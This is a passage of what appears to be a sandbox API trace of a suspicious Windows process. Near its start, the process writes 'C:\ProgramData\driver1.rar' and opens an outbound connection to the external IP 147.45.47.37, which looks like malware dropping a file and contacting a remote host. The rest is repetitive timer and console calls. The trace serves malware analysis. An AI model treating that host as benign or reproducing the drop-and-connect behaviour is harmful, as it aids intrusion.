hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0202.528] CloseHandle (hObject=0x35c) returned 1 [0202.528] CloseHandle (hObject=0x358) returned 1 [0202.529] CloseHandle (hObject=0x360) returned 1 [0202.529] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0279.972] GetExitCodeProcess (in: hProcess=0x374, lpExitCode=0xc000adfa0c | out: lpExitCode=0xc000adfa0c*=0x1) returned 1 [0279.972] GetProcessTimes (in: hProcess=0x374, lpCreationTime=0xc00004e380, lpExitTime=0xc00004e388, lpKernelTime=0xc00004e390, lpUserTime=0xc00004e398 | out: lpCreationTime=0xc00004e380, lpExitTime=0xc00004e388, lpKernelTime=0xc00004e390, lpUserTime=0xc00004e398) returned 1 [0279.972] CloseHandle (hObject=0x374) returned 1 [0279.973] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0279.973] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0279.983] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0283.051] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff528, ulCount=0x10, ulNumEntriesRemoved=0x5ff4f8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff528, ulNumEntriesRemoved=0x5ff4f8) returned 0 [0283.051] SetEvent (hEvent=0x104) returned 1 [0283.052] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c000*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c000*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.104] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c018*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c018*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.110] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c030*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c030*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.190] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c048*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c048*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.232] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c060*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c060*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.252] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c078*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c078*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.344] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c090*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c090*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.428] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c0a8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c0a8*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.444] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c180*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c180*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.515] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c198*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c198*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.523] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c1b0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c1b0*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.535] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c1c8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c1c8*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.549] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c1e0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c1e0*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.570] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c1f8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c1f8*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.602] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c210*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c210*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.641] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c228*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649838, lpReserved=0x0 | out: lpBuffer=0xc00086c228*, lpNumberOfCharsWritten=0xc000649838*=0x9) returned 1 [0283.655] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c240*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649730, lpReserved=0x0 | out: lpBuffer=0xc00086c240*, lpNumberOfCharsWritten=0xc000649730*=0x9) returned 1 [0283.666] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c258*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649730, lpReserved=0x0 | out: lpBuffer=0xc00086c258*, lpNumberOfCharsWritten=0xc000649730*=0x9) returned 1 [0283.683] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c270*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649730, lpReserved=0x0 | out: lpBuffer=0xc00086c270*, lpNumberOfCharsWritten=0xc000649730*=0x9) returned 1 [0283.767] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c288*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649730, lpReserved=0x0 | out: lpBuffer=0xc00086c288*, lpNumberOfCharsWritten=0xc000649730*=0x9) returned 1 [0283.837] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc00086c2a0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000649730, lpReserved=0x0 | out: lpBuffer=0xc00086c2a0*, lpNumberOfCharsWritten=0xc000649730*=0x9) returned 1 [0283.893] CreateFileW (lpFileName="C:\\ProgramData\\driver1.rar" (normalized: "c:\\programdata\\driver1.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0283.893] GetConsoleMode (in: hConsoleHandle=0x1ec, lpMode=0xc000649c1c | out: lpMode=0xc000649c1c) returned 0 [0283.894] GetFileType (hFile=0x1ec) returned 0x1 [0283.900] SetEvent (hEvent=0x124) returned 1 [0283.902] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1f4 [0283.903] CreateIoCompletionPort (FileHandle=0x1f4, ExistingCompletionPort=0x170, CompletionKey=0x4d435220, NumberOfConcurrentThreads=0x0) returned 0x170 [0283.903] SetFileCompletionNotificationModes (FileHandle=0x1f4, Flags=0x3) returned 1 [0283.903] bind (s=0x1f4, addr=0xc00004e54c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0283.904] ConnectEx (in: s=0x1f4, name=0xc00004e52c*(sa_family=2, sin_port=0x5d0, sin_addr="147.45.47.37"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc0007165e8 | out: lpdwBytesSent=0x0) returned 0 [0283.905] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) Thread: id = 9 os_tid = 0x1720 Thread: id = 10 os_tid = 0x11f4 [0171.629] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3fd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3fd78*=0xf4) returned 1 [0171.629] GetCurrentThreadId () returned 0x11f4 [0171.629] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0xf8 [0171.629] VirtualQuery (in: lpAddress=0xd3fd98, lpBuffer=0xd3fd98, dwLength=0x30 | out: lpBuffer=0xd3fd98*(BaseAddress=0xd3f000, AllocationBase=0xb40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0171.629] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.629] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.630] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.630] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.630] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.630] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.631] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.631] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.631] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.631] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.631] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.632] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.632] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.632] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.632] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.633] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.633] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.633] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.633] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.634] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.634] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.634] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.634] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.634] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.634] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.635] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.635] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.635] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.691] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.693] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.693] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.693] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.693] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.693] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.693] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.694] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.694] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.695] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.695] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.695] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.695] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.695] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.695] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.696] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.696] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.696] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.696] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.696] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.696] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.697] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.697] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.698] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.698] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.698] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.698] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.698] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.698] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.699] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0171.877] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0171.877] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.040] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.040] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.107] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.107] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.156] SetEvent (hEvent=0x124) returned 1 [0172.156] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.156] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.156] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.156] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.156] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.157] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.157] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.157] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.157] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.157] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.157] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.157] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.157] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.157] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.157] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.158] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.158] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.158] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.158] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.158] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.158] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.158] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.158] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.158] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.158] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.159] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0172.159] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0172.159] NtWaitForSingleObject (Object=0xf8, Alertable=0, 